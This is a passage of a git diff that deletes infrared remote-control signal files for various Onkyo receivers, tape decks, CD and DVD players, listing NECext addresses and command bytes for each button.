Skip/Search_Forward -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 85 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir deleted file mode 100644 index fcf836be3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Tuner-preset+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: Tuner-preset- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: Tape-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: Tape-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: Phono -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: Deck-b-stop -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: Deck-b-play-forward -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: Deck-b-play-back -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: Deck-b-rec/pause -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: Deck-b-fastforward -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: Deck-b-rewind -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD-play -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD-stop -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD-next -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD-back -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD-pause -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: Tuner-class -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: Deck-a-stop -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: Deck-a-play-forward -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: Deck-a-play-back -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: Deck-a-rec/pause -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: Deck-a-fastforward -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: Deck-a-rewind -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: CD-eject -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir deleted file mode 100644 index f436554a0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FWD_SEEK -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: REV_SEEK -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 05 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 06 00 00 00 -# -name: A_B -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 07 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 08 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 18 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1C 00 00 00 -# -name: FWD_SKIP -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: REV_SKIP -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1F 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 46 00 00 00 -# -name: TIME_EDIT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 4D 00 00 00 -# -name: PEAK_SEARCH -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir deleted file mode 100644 index a9cadf598..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 49 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 50 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 51 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 52 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 54 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 56 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 58 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 59 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir deleted file mode 100644 index 45acd32db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 16 00 00 00 -# -name: Pause-Record -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 18 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 19 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 1A 00 00 00 -# -name: Autospace -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 1B 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 1D 00 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir deleted file mode 100644 index a16d7f7eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir deleted file mode 100644 index 87a44eaaa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 04 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 05 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 06 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 07 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 09 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0A 00 00 00 -# -name: SlowForward -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: FastReverse -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 13 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 17 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 18 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 44 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 45 00 00 00 -# -name: Dimmer -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 46 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 48 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4D 00 00 00 -# -name: TopMenu -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 54 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 55 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 56 00 00 00 -# -name: SlowReverse -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 90 00 00 00 -# -name: CDPlay -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D2 00 00 00 -# -name: Disc+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: Disc- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D4 00 00 00 -# -name: Disc1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D5 00 00 00 -# -name: Disc2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D6 00 00 00 -# -name: Disc3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D7 00 00 00 -# -name: Disc4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D8 00 00 00 -# -name: Disc5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D9 00 00 00 -# -name: Disc6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir deleted file mode 100644 index 8f153e2bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 49 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 4F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 50 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 51 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 52 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 54 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 55 00 00 00 -# -name: REMAIN -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 56 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 57 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 58 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 59 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: D2 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir deleted file mode 100644 index 148be44cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: display -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 09 00 00 00 -# -name: level- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 13 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 17 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1F 00 00 00 -# -name: level+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 44 00 00 00 -# -name: clr -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: prevmenu -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: chsel -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 54 00 00 00 -# -name: testtone -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 55 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 58 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir deleted file mode 100644 index fe1a9a98b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET-UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET-DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: INPUT_SEL_TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: INPUT_SEL_TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT_SEL_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: INPUT_SEL_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: INPUT_SEL_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: INPUT_SEL_VIDEO-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT_SEL_VIDEO-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: DECK-B_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_FWD-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_REV-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_RECORD-PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_REW -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP-NEXT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP-LAST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: INPUT_SEL_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: TUNER_CLASS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: DECK-A_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_FWD-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_REV-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_RECORD-PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_FF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_REW -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: SPEAKERS_MAIN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SPEAKERS_REMOTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: SIMUL_SOURCE_VOL-UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C2 00 00 00 -# -name: 